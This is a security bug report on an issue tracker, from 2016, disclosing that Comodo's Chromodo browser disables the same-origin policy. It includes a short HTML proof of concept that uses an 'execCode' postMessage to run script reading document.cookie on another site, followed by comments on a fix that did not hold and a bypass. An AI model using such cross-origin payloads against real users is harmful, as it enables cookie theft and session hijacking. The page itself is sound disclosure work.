|
|
Comodo: Comodo "Chromodo" Browser disables same origin policy, Effectively turning off web security. | |||
| Project Member Reported by taviso@google.com, Jan 22 2016 | Back to list | |||
When you install Comodo Internet Security, by default a new browser called Chromodo is installed and set as the default browser. Additionally, all shortcuts are replaced with Chromodo links and all settings, cookies, etc are imported from Chrome. They also hijack DNS settings, among other shady practices. https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php Chromodo is described as "highest levels of speed, security and privacy", but actually disables all web security. Let me repeat that, they ***disable the same origin policy***.... ?!?.. To reproduce, do something like this: <html> <head></head> <body> <script> function steal_cookie(obj) { // Wait for the page to load setTimeout(function() { obj.postMessage(JSON.stringify({ command: "execCode", code: "alert(document.cookie)", }), "*"); }, 2000); } </script> <a href="javascript:steal_cookie(window.open('https://ssl.comodo.com/'))">Click Here</a> </body> </html> This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
,
Jan 29 2016
Comodo replied that they're planning a hotfix for this issue within a day, but the other open issues may take weeks to fix. I replied that I noticed their scan process is not using ASLR, which probably isn't a good sign going forward, and I'm planning to start a more thorough audit next week.
,
Feb 2 2016
It looks like Comodo pushed a change that removes the "execCode" API that I was using in my exploit. This is obviously an incorrect fix, and a trivial change makes the vulnerability still exploitable. After "discussion" with Comodo (I can't really get any response from them, but I'm trying), I'll consider this bug fixed and file a new bug with the trivial bypass of their fix as a new issue. The deleted comments above contained discussion about the bypass, I'll move them into a new issue.
,
Feb 2 2016
Discussion about the incorrect fix is in issue 713 .
,
Feb 2 2016
,
Feb 2 2016
"After "discussion" with Comodo (I can't really get any response from them, but I'm trying)" Hopefully this being posted on HackerNews will help. If not, rampant exploitation of Comodo browsers ought to incentivize companies to cancel their subscriptions and Comodo will lose money.
,
Feb 2 2016
toppest of keks, my friend. There's plenty of evidence of the shadiness of Chromodo, it gets pushed via the kind of PUP bundler networks that also push winlocker trojans of Indian origin.
,
Feb 2 2016
|
||||
| ► Sign in to add a comment | ||||
1.3 KB View Download